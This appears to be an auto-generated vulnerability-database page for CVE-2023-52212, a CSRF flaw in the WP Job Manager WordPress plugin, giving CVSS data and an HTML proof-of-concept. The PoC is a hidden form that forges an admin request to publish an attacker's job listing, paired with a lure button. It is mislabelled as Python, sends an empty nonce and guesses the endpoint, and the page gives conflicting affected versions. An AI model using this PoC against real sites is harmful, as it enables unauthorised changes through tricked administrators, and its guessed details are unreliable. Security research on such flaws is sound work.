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CVE-2023-52212 CVSS 5.4 MEDIUM

CVE-2023-52212

Published: 2026-01-05 14:15:53
Last Modified: 2026-04-15 00:35:42

Description

Cross-Site Request Forgery (CSRF) vulnerability in Automattic WP Job Manager allows Cross Site Request Forgery.This issue affects WP Job Manager: from n/a through 2.0.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Job Manager < 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2023-52212 - WP Job Manager CSRF --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>CSRF PoC for CVE-2023-52212</h1> <p>Click the button below to trigger the CSRF attack.</p> <!-- Example: Modify job listing settings via CSRF --> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form"> <input type="hidden" name="action" value="save_job_listing"> <input type="hidden" name="job_id" value="1"> <input type="hidden" name="_wpnonce" value=""> <input type="hidden" name="post_status" value="publish"> <input type="hidden" name="job_title" value="Malicious Job Listing"> <input type="hidden" name="job_description" value="This is a CSRF injected job listing"> </form> <button type="submit" onclick="this.innerHTML='Attack Triggered!'; document.getElementById('csrf-form').submit();"> Click Me (Malicious) </button> <!-- Auto-submit on page load (commented out for safety) --> <!-- <script> document.getElementById('csrf-form').submit(); </script> --> <p><strong>Note:</strong> This PoC demonstrates the CSRF vulnerability concept. The attacker would need to know the target site's structure and valid action endpoints. In a real attack, the attacker would use social engineering to trick a logged-in admin into visiting this page.</p> </body> </html>

References

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